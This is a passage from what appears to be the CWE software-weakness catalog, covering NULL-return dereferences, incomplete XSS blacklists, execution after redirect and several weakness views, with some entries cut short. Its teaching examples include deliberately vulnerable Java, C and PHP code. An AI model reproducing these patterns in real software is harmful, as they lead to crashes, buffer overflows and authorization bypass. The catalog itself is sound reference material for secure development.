Reference	Description
CVE-2002-0760	Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified.
CVE-2003-0265	Database product creates files world-writable before initializing the setuid bits, leading to modification of executables.
CVE-2005-2174	Product inserts a new object into database before setting the object's permissions, introducing a race condition.
CVE-2005-2475	Archive permissions issue using hard link.
CVE-2006-5214	Error file has weak permissions before a chmod is performed.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	**699**	489
Requires	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	628
ChildOf	C	732	Incorrect Permission Assignment for Critical Resource	**1000**	1124
Requires	C	732	Incorrect Permission Assignment for Critical Resource	1000	1124

Research Gaps

Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

Related Attack Patterns

CWE-690: Unchecked Return Value to NULL Pointer Dereference

Compound Element ID: 690 *(Compound Element Base: Chain)* **Status:** Draft

Description

Summary

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Applicable Platforms

Languages

- C

- C++

Modes of Introduction

A typical occurrence of this weakness occurs when an application includes user-controlled input to a malloc() call. The related code might be correct with respect to preventing buffer overflows, but if a large value is provided, the malloc() will fail due to insufficient memory. This problem also frequently occurs when a parsing routine expects that certain elements will always be present. If malformed input is provided, the parser might return NULL. For example, strtok() can return NULL.

Common Consequences

Availability
DoS: crash / exit / restart

Detection Methods

Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples

Example 1:

The code below makes a call to the getUserName() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

Java Example: *Bad Code*

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
  ...
}
```

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example: *Bad Code*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Observed Examples

Reference	Description
CVE-2003-1054	URI parsing API sets argument to NULL when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to NULL dereference.
CVE-2006-2555	Parsing routine encounters NULL dereference when input is missing a colon separator.
CVE-2006-6227	Large message length field leads to NULL pointer dereference when malloc fails.
CVE-2008-1052	Large Content-Length value leads to NULL pointer dereference when malloc fails.
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference

CWE-692: Incomplete Blacklist to Cross-Site Scripting

Compound Element ID: 692 *(Compound Element Base: Chain)* **Status:** Draft

Description

Summary

The product uses a blacklist-based protection mechanism to defend against XSS attacks, but the blacklist is incomplete, allowing XSS variants to succeed.

Extended Description

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a blacklist cannot keep track of all the variations. The "XSS Cheat Sheet" [R.692.1] contains a large number of attacks that are intended to bypass incomplete blacklists.

Applicable Platforms

CWE-693: Protection Mechanism Failure

Weakness ID: 693 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Bypass protection mechanism

Maintenance Notes

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the natural hierarchy before Draft 9 was released.

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID: 694 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

Extended Description

If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Access Control
Bypass protection mechanism
If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.

Other
Quality degradation

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.

Potential Mitigations

Architecture and Design
Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	99	Improper Control of Resource Identifiers ('Resource Injection')	**699** **1000** **1003**	190
ChildOf	C	573	Improper Following of Specification by Caller	699 1000	913

ParentOf	B	*462*	*Duplicate Key in Associative List (Alist)*	***1000***	*780*

Relationship Notes

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

Relevant Properties

- Uniqueness

CWE-695: Use of Low-Level Functionality

Weakness ID: 695 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

CWE-696: Incorrect Behavior Order

Weakness ID: 696 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity
Alter execution logic

Observed Examples

Reference	Description
CVE-2007-1588	C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended
CVE-2007-5191	file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges
CVE-2017-6964	Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges.

Weakness Ordinalities

CWE-697: Insufficient Comparison

Weakness ID: 697 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software compares two entities in a security-relevant context, but the comparison is insufficient, which may lead to resultant weaknesses.

Extended Description

This weakness class covers several possibilities:

the comparison checks one factor incorrectly;

the comparison should consider multiple factors, but it does not check some of those factors at all.

CWE-698: Execution After Redirect (EAR)

Weakness ID: 698 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

Alternate Terms

Redirect Without Exit

Time of Introduction

- Implementation

Common Consequences

Other
Confidentiality
Integrity
Availability
Alter execution logic
Execute unauthorized code or commands

This weakness could affect the control flow of the application and allow execution of untrusted code.

Detection Methods

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

Demonstrative Examples

This code queries a server and displays its status when a request comes from an authorized IP address.

PHP Example: *Bad Code*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipWhitelist)){
  echo "You are not authorized to view this page";
  http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Observed Examples

Reference	Description
CVE-2007-2713	Remote attackers can obtain access to administrator functionality through EAR.
CVE-2007-2713	Chain: Execution after redirect triggers eval injection.
CVE-2007-4932	Remote attackers can obtain access to administrator functionality through EAR.
CVE-2007-5578	Bypass of authentication step through EAR.
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection.
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
CVE-2013-1402	Execution-after-redirect allows access to application configuration details.

CWE-699: Development Concepts

View ID: 699 *(View: Graph)* **Status:** Incomplete

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. Accordingly, this view can align closely with the perspectives of developers, educators, and assessment vendors. It borrows heavily from the organizational structure used by Seven Pernicious Kingdoms, but it also provides a variety of other categories that are intended to simplify navigation, browsing, and mapping.

Maintenance Notes

As of December 2016, this view is undergoing significant restructuring in its high-level parent/child relationships. The original categories in the top two or three levels of the hierarchy were based on Landwehr's taxonomy, which is not necessarily compatible with how developers wish to view or map to individual weaknesses and introduces unnecessary depth to the tree.

CWE-700: Seven Pernicious Kingdoms

View ID: 700 *(View: Graph)* **Status:** Incomplete

Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

View Audience

Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

Alternate Terms

7PK

"7PK" is frequently used by the MITRE team as an abbreviation.

V	612	Information Exposure Through Indexing of Private Data
B	613	Insufficient Session Expiration
B	618	Exposed Unsafe ActiveX Method
V	620	Unverified Password Change
V	623	Unsafe ActiveX Control Marked Safe For Scripting
C	636	Not Failing Securely ('Failing Open')
C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
C	638	Not Using Complete Mediation
B	639	Authorization Bypass Through User-Controlled Key
B	640	Weak Password Recovery Mechanism for Forgotten Password
B	641	Improper Restriction of Names for Files and Other Resources
C	642	External Control of Critical State Data
V	644	Improper Neutralization of HTTP Headers for Scripting Syntax
B	645	Overly Restrictive Account Lockout Mechanism
V	646	Reliance on File Name or Extension of Externally-Supplied File
V	647	Use of Non-Canonical URL Paths for Authorization Decisions
B	648	Incorrect Use of Privileged APIs
B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
V	650	Trusting HTTP Permission Methods on the Server Side
V	651	Information Exposure Through WSDL File
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision
B	655	Insufficient Psychological Acceptability
B	656	Reliance on Security Through Obscurity

Type	ID	Name
C	657	Violation of Secure Design Principles
B	662	Improper Synchronization
B	663	Use of a Non-reentrant Function in a Concurrent Context
B	667	Improper Locking
C	668	Exposure of Resource to Wrong Sphere
C	669	Incorrect Resource Transfer Between Spheres
C	670	Always-Incorrect Control Flow Implementation
C	671	Lack of Administrator Control over Security
B	672	Operation on a Resource after Expiration or Release
C	673	External Influence of Sphere Definition
B	674	Uncontrolled Recursion
B	676	Use of Potentially Dangerous Function
C	682	Incorrect Calculation
C	691	Insufficient Control Flow Management
C	693	Protection Mechanism Failure
B	694	Use of Multiple Resources with Duplicate Identifier
B	695	Use of Low-Level Functionality
C	696	Incorrect Behavior Order
C	703	Improper Check or Handling of Exceptional Conditions
C	704	Incorrect Type Conversion or Cast
C	705	Incorrect Control Flow Scoping
C	706	Use of Incorrectly-Resolved Name or Reference
C	707	Improper Enforcement of Message or Data Structure
B	708	Incorrect Ownership Assignment
C	710	Coding Standards Violation
C	732	Incorrect Permission Assignment for Critical Resource
B	749	Exposed Dangerous Method or Function
V	764	Multiple Locks of a Critical Resource
V	766	Critical Variable Declared Public
V	767	Access to Critical Private Variable via Public Method
C	769	File Descriptor Exhaustion
B	770	Allocation of Resources Without Limits or Throttling
B	771	Missing Reference to Active Allocated Resource
B	772	Missing Release of Resource after Effective Lifetime
V	773	Missing Reference to Active File Descriptor or Handle
V	774	Allocation of File Descriptors or Handles Without Limits or Throttling
V	780	Use of RSA Algorithm without OAEP
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision
V	789	Uncontrolled Memory Allocation
B	798	Use of Hard-coded Credentials
C	799	Improper Control of Interaction Frequency
B	804	Guessable CAPTCHA
B	807	Reliance on Untrusted Inputs in a Security Decision
C	862	Missing Authorization
C	863	Incorrect Authorization
C	912	Hidden Functionality
C	913	Improper Control of Dynamically-Managed Code Resources
B	914	Improper Control of Dynamically-Identified Variables

Type	ID	Name
B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes
B	916	Use of Password Hash With Insufficient Computational Effort
B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
B	918	Server-Side Request Forgery (SSRF)
B	920	Improper Restriction of Power Consumption
B	921	Storage of Sensitive Data in a Mechanism without Access Control
C	922	Insecure Storage of Sensitive Information
C	923	Improper Restriction of Communication Channel to Intended Endpoints
C	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel
V	925	Improper Verification of Intent by Broadcast Receiver
V	926	Improper Export of Android Application Components
V	927	Use of Implicit Intent for Sensitive Communication
B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel
V	942	Overly Permissive Cross-domain Whitelist
V	1004	Sensitive Cookie Without 'HttpOnly' Flag

CWE-702: Weaknesses Introduced During Implementation

View ID: 702 *(View: Implicit Slice)* **Status:** Incomplete

Objective

This view (slice) lists weaknesses that can be introduced during implementation.

View Data

Filter Used:

.//Introductory_Phase='Implementation'

Compound_Elements	4	out of	8

CWEs Included in this View

Type	ID	Name
V	5	J2EE Misconfiguration: Data Transmission Without Encryption
V	6	J2EE Misconfiguration: Insufficient Session-ID Length
V	7	J2EE Misconfiguration: Missing Custom Error Page
V	8	J2EE Misconfiguration: Entity Bean Declared Remote
V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
V	11	ASP.NET Misconfiguration: Creating Debug Binary
V	12	ASP.NET Misconfiguration: Missing Custom Error Page
V	13	ASP.NET Misconfiguration: Password in Configuration File
B	14	Compiler Removal of Code to Clear Buffers
B	15	External Control of System or Configuration Setting
C	20	Improper Input Validation
C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
B	23	Relative Path Traversal
V	24	Path Traversal: '../filedir'
V	25	Path Traversal: '/../filedir'
V	26	Path Traversal: '/dir/../filename'

Type	ID	Name
V	27	Path Traversal: 'dir/../../filename'
V	28	Path Traversal: '..\filedir'
V	29	Path Traversal: '\..\filename'
V	30	Path Traversal: '\dir\..\filename'
V	31	Path Traversal: 'dir\..\..\filename'
V	32	Path Traversal: '...' (Triple Dot)
V	33	Path Traversal: '....' (Multiple Dot)
V	34	Path Traversal: '....//'
V	35	Path Traversal: '.../...//'
B	36	Absolute Path Traversal
V	37	Path Traversal: '/absolute/pathname/here'
V	38	Path Traversal: '\absolute\pathname\here'
V	39	Path Traversal: 'C:dirname'
V	40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
B	41	Improper Resolution of Path Equivalence
V	42	Path Equivalence: 'filename.' (Trailing Dot)
V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)
V	44	Path Equivalence: 'file.name' (Internal Dot)
V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)
V	46	Path Equivalence: 'filename ' (Trailing Space)
V	47	Path Equivalence: ' filename' (Leading Space)
V	48	Path Equivalence: 'file name' (Internal Whitespace)
V	49	Path Equivalence: 'filename/' (Trailing Slash)
V	50	Path Equivalence: '//multiple/leading/slash'
V	51	Path Equivalence: '/multiple//internal/slash'
V	52	Path Equivalence: '/multiple/trailing/slash//'
V	53	Path Equivalence: '\multiple\\internal\backslash'
V	54	Path Equivalence: 'filedir\' (Trailing Backslash)
V	55	Path Equivalence: '/./' (Single Dot Directory)
V	56	Path Equivalence: 'filedir*' (Wildcard)
V	57	Path Equivalence: 'fakedir/../realdir/filename'
V	58	Path Equivalence: Windows 8.3 Filename
B	59	Improper Link Resolution Before File Access ('Link Following')
	61	UNIX Symbolic Link (Symlink) Following
V	62	UNIX Hard Link
V	65	Windows Hard Link
B	66	Improper Handling of File Names that Identify Virtual Resources
V	67	Improper Handling of Windows Device Names
V	69	Improper Handling of Windows ::DATA Alternate Data Stream
V	71	Apple '.DS_Store'
V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path
C	73	External Control of File Name or Path
C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
B	76	Improper Neutralization of Equivalent Special Elements
C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Type	ID	Name
V	81	Improper Neutralization of Script in an Error Message Web Page
V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
V	83	Improper Neutralization of Script in Attributes in a Web Page
V	84	Improper Neutralization of Encoded URI Schemes in a Web Page
V	85	Doubled Character XSS Manipulations
V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages
V	87	Improper Neutralization of Alternate XSS Syntax
B	88	Argument Injection or Modification
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
B	91	XML Injection (aka Blind XPath Injection)
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')
C	94	Improper Control of Generation of Code ('Code Injection')
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	99	Improper Control of Resource Identifiers ('Resource Injection')
C	100	Technology-Specific Input Validation Problems
V	102	Struts: Duplicate Validation Forms
V	103	Struts: Incomplete validate() Method Definition
V	104	Struts: Form Bean Does Not Extend Validation Class
V	105	Struts: Form Field Without Validator
V	106	Struts: Plug-in Framework not in Use
V	107	Struts: Unused Validation Form
V	108	Struts: Unvalidated Action Form
V	109	Struts: Validator Turned Off
V	110	Struts: Validator Without Form Field
B	111	Direct Use of Unsafe JNI
B	112	Missing XML Validation
B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
B	114	Process Control
B	115	Misinterpretation of Input
C	116	Improper Encoding or Escaping of Output
B	117	Improper Output Neutralization for Logs
C	118	Incorrect Access of Indexable Resource ('Range Error')
C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
V	121	Stack-based Buffer Overflow
V	122	Heap-based Buffer Overflow
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
V	127	Buffer Under-read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
B	130	Improper Handling of Length Parameter Inconsistency

Type	ID	Name
B	131	Incorrect Calculation of Buffer Size
B	134	Use of Externally-Controlled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
C	138	Improper Neutralization of Special Elements
B	140	Improper Neutralization of Delimiters
V	141	Improper Neutralization of Parameter/Argument Delimiters
V	142	Improper Neutralization of Value Delimiters
V	143	Improper Neutralization of Record Delimiters
V	144	Improper Neutralization of Line Delimiters
V	145	Improper Neutralization of Section Delimiters
V	146	Improper Neutralization of Expression/Command Delimiters
V	147	Improper Neutralization of Input Terminators
V	148	Improper Neutralization of Input Leaders
V	149	Improper Neutralization of Quoting Syntax
V	150	Improper Neutralization of Escape, Meta, or Control Sequences
V	151	Improper Neutralization of Comment Delimiters
V	152	Improper Neutralization of Macro Symbols
V	153	Improper Neutralization of Substitution Characters
V	154	Improper Neutralization of Variable Name Delimiters
V	155	Improper Neutralization of Wildcards or Matching Symbols
V	156	Improper Neutralization of Whitespace
V	157	Failure to Sanitize Paired Delimiters
V	158	Improper Neutralization of Null Byte or NUL Character
C	159	Failure to Sanitize Special Element
V	160	Improper Neutralization of Leading Special Elements
V	161	Improper Neutralization of Multiple Leading Special Elements
V	162	Improper Neutralization of Trailing Special Elements
V	163	Improper Neutralization of Multiple Trailing Special Elements
V	164	Improper Neutralization of Internal Special Elements
V	165	Improper Neutralization of Multiple Internal Special Elements
B	166	Improper Handling of Missing Special Element
B	167	Improper Handling of Additional Special Element
B	168	Improper Handling of Inconsistent Special Elements
B	170	Improper Null Termination
C	172	Encoding Error
V	173	Improper Handling of Alternate Encoding
V	174	Double Decoding of the Same Data
V	175	Improper Handling of Mixed Encoding
V	176	Improper Handling of Unicode Encoding
V	177	Improper Handling of URL Encoding (Hex Encoding)
B	178	Improper Handling of Case Sensitivity
B	179	Incorrect Behavior Order: Early Validation
B	180	Incorrect Behavior Order: Validate Before Canonicalize
B	181	Incorrect Behavior Order: Validate Before Filter
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist
C	185	Incorrect Regular Expression
B	186	Overly Restrictive Regular Expression
B	187	Partial Comparison

Type	ID	Name
B	188	Reliance on Data/Memory Layout
B	190	Integer Overflow or Wraparound
B	191	Integer Underflow (Wrap or Wraparound)
C	192	Integer Coercion Error
B	193	Off-by-one Error
B	194	Unexpected Sign Extension
V	195	Signed to Unsigned Conversion Error
V	196	Unsigned to Signed Conversion Error
B	197	Numeric Truncation Error
B	198	Use of Incorrect Byte Ordering
C	200	Information Exposure
V	201	Information Exposure Through Sent Data
V	202	Exposure of Sensitive Data Through Data Queries
C	203	Information Exposure Through Discrepancy
B	204	Response Discrepancy Information Exposure
B	205	Information Exposure Through Behavioral Discrepancy
V	206	Information Exposure of Internal State Through Behavioral Inconsistency
V	207	Information Exposure Through an External Behavioral Inconsistency
B	208	Information Exposure Through Timing Discrepancy
B	209	Information Exposure Through an Error Message
B	210	Information Exposure Through Self-generated Error Message
B	211	Information Exposure Through Externally-generated Error Message
B	212	Improper Cross-boundary Removal of Sensitive Data
B	213	Intentional Information Exposure
V	214	Information Exposure Through Process Environment
V	215	Information Exposure Through Debug Information
C	216	Containment Errors (Container Errors)
V	219	Sensitive Data Under Web Root
C	221	Information Loss or Omission
B	222	Truncation of Security-relevant Information
B	223	Omission of Security-relevant Information
B	224	Obscured Security-relevant Information by Alternate Name
B	226	Sensitive Information Uncleared Before Release
C	227	Improper Fulfillment of API Contract ('API Abuse')
C	228	Improper Handling of Syntactically Invalid Structure
B	229	Improper Handling of Values
V	230	Improper Handling of Missing Values
V	231	Improper Handling of Extra Values
V	232	Improper Handling of Undefined Values
B	233	Improper Handling of Parameters
V	234	Failure to Handle Missing Parameter
V	235	Improper Handling of Extra Parameters
V	236	Improper Handling of Undefined Parameters
V	238	Improper Handling of Incomplete Structural Elements
V	239	Failure to Handle Incomplete Element
V	240	Improper Handling of Inconsistent Structural Elements
B	241	Improper Handling of Unexpected Data Type
B	242	Use of Inherently Dangerous Function
V	243	Creation of chroot Jail Without Changing Working Directory
V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Type	ID	Name
V	245	J2EE Bad Practices: Direct Management of Connections
V	246	J2EE Bad Practices: Direct Use of Sockets
B	248	Uncaught Exception
B	252	Unchecked Return Value
B	253	Incorrect Check of Function Return Value
V	258	Empty Password in Configuration File
B	259	Use of Hard-coded Password
V	260	Password in Configuration File
B	266	Incorrect Privilege Assignment
B	267	Privilege Defined With Unsafe Actions
B	268	Privilege Chaining
B	269	Improper Privilege Management
B	270	Privilege Context Switching Error
C	271	Privilege Dropping / Lowering Errors
B	272	Least Privilege Violation
B	273	Improper Check for Dropped Privileges
B	274	Improper Handling of Insufficient Privileges
V	276	Incorrect Default Permissions
V	277	Insecure Inherited Permissions
B	280	Improper Handling of Insufficient Permissions or Privileges
B	281	Improper Preservation of Permissions
C	284	Improper Access Control
C	285	Improper Authorization
C	286	Incorrect User Management
C	287	Improper Authentication
V	289	Authentication Bypass by Alternate Name
B	290	Authentication Bypass by Spoofing
B	295	Improper Certificate Validation
V	302	Authentication Bypass by Assumed-Immutable Data
B	303	Incorrect Implementation of Authentication Algorithm
B	304	Missing Critical Step in Authentication
B	305	Authentication Bypass by Primary Weakness
V	318	Cleartext Storage of Sensitive Information in Executable
V	329	Not Using a Random IV with CBC Mode
C	330	Use of Insufficiently Random Values
B	331	Insufficient Entropy
V	332	Insufficient Entropy in PRNG
V	333	Improper Handling of Insufficient Entropy in TRNG
B	334	Small Space of Random Values
C	335	PRNG Seed Error
B	336	Same Seed in PRNG
B	337	Predictable Seed in PRNG
B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
B	339	Small Seed Space in PRNG
C	340	Predictability Problems
B	341	Predictable from Observable State
B	342	Predictable Exact Value from Previous Values
B	343	Predictable Value Range from Previous Values
B	344	Use of Invariant Value in Dynamically Changing Context
C	345	Insufficient Verification of Data Authenticity

Type	ID	Name
B	346	Origin Validation Error
B	347	Improper Verification of Cryptographic Signature
B	348	Use of Less Trusted Source
B	349	Acceptance of Extraneous Untrusted Data With Trusted Data
B	351	Insufficient Type Distinction
B	353	Missing Support for Integrity Check
B	354	Improper Validation of Integrity Check Value
B	356	Product UI does not Warn User of Unsafe Actions
B	357	Insufficient UI Warning of Dangerous Operations
B	358	Improperly Implemented Security Check for Standard
C	359	Exposure of Private Information ('Privacy Violation')
B	360	Trust of System Event Data
C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	363	Race Condition Enabling Link Following
B	364	Signal Handler Race Condition
B	365	Race Condition in Switch
B	366	Race Condition within a Thread
B	367	Time-of-check Time-of-use (TOCTOU) Race Condition
B	368	Context Switching Race Condition
B	369	Divide By Zero
B	370	Missing Check for Certificate Revocation after Initial Check
B	372	Incomplete Internal State Distinction
B	374	Passing Mutable Objects to an Untrusted Method
B	375	Returning a Mutable Object to an Untrusted Caller
B	377	Insecure Temporary File
B	378	Creation of Temporary File With Insecure Permissions
B	379	Creation of Temporary File in Directory with Incorrect Permissions
V	382	J2EE Bad Practices: Use of System.exit()
V	383	J2EE Bad Practices: Direct Use of Threads
	384	Session Fixation
B	385	Covert Timing Channel
B	386	Symbolic Name not Mapping to Correct Object
C	390	Detection of Error Condition Without Action
B	391	Unchecked Error Condition
B	392	Missing Report of Error Condition
B	393	Return of Wrong Status Code
B	394	Unexpected Status Code or Return Value
B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
C	398	Indicator of Poor Code Quality
B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')
B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
B	404	Improper Resource Shutdown or Release
C	405	Asymmetric Resource Consumption (Amplification)
B	406	Insufficient Control of Network Message Volume (Network Amplification)
B	407	Algorithmic Complexity
B	408	Incorrect Behavior Order: Early Amplification

Type	ID	Name
B	409	Improper Handling of Highly Compressed Data (Data Amplification)
B	410	Insufficient Resource Pool
B	412	Unrestricted Externally Accessible Lock
B	413	Improper Resource Locking
B	414	Missing Lock Check
V	415	Double Free
B	416	Use After Free
B	419	Unprotected Primary Channel
B	420	Unprotected Alternate Channel
B	425	Direct Request ('Forced Browsing')
	426	Untrusted Search Path
B	427	Uncontrolled Search Path Element
B	428	Unquoted Search Path or Element
B	430	Deployment of Wrong Handler
B	431	Missing Handler
B	432	Dangerous Signal Handler not Disabled During Sensitive Operations
V	433	Unparsed Raw Web Content Delivery
B	434	Unrestricted Upload of File with Dangerous Type
C	435	Interaction Error
B	436	Interpretation Conflict
B	437	Incomplete Model of Endpoint Features
B	439	Behavioral Change in New Version or Environment
B	440	Expected Behavior Violation
B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
B	446	UI Discrepancy for Security Feature
B	447	Unimplemented or Unsupported Feature in UI
B	448	Obsolete Feature in UI
B	449	The UI Performs the Wrong Action
B	450	Multiple Interpretations of UI Input
B	451	User Interface (UI) Misrepresentation of Critical Information
B	453	Insecure Default Variable Initialization
B	454	External Initialization of Trusted Variables or Data Stores
B	455	Non-exit on Failed Initialization
B	456	Missing Initialization of a Variable
V	457	Use of Uninitialized Variable
B	459	Incomplete Cleanup
V	460	Improper Cleanup on Thrown Exception
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	466	Return of Pointer Value Outside of Expected Range
V	467	Use of sizeof() on a Pointer Type
B	468	Incorrect Pointer Scaling
B	469	Use of Pointer Subtraction to Determine Size
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	471	Modification of Assumed-Immutable Data (MAID)
B	472	External Control of Assumed-Immutable Web Parameter
V	473	PHP External Variable Modification
B	474	Use of Function with Inconsistent Implementations
B	475	Undefined Behavior for Input to API
B	476	NULL Pointer Dereference

Type	ID	Name
B	477	Use of Obsolete Functions
V	478	Missing Default Case in Switch Statement
V	479	Signal Handler Use of a Non-reentrant Function
B	480	Use of Incorrect Operator
V	481	Assigning instead of Comparing
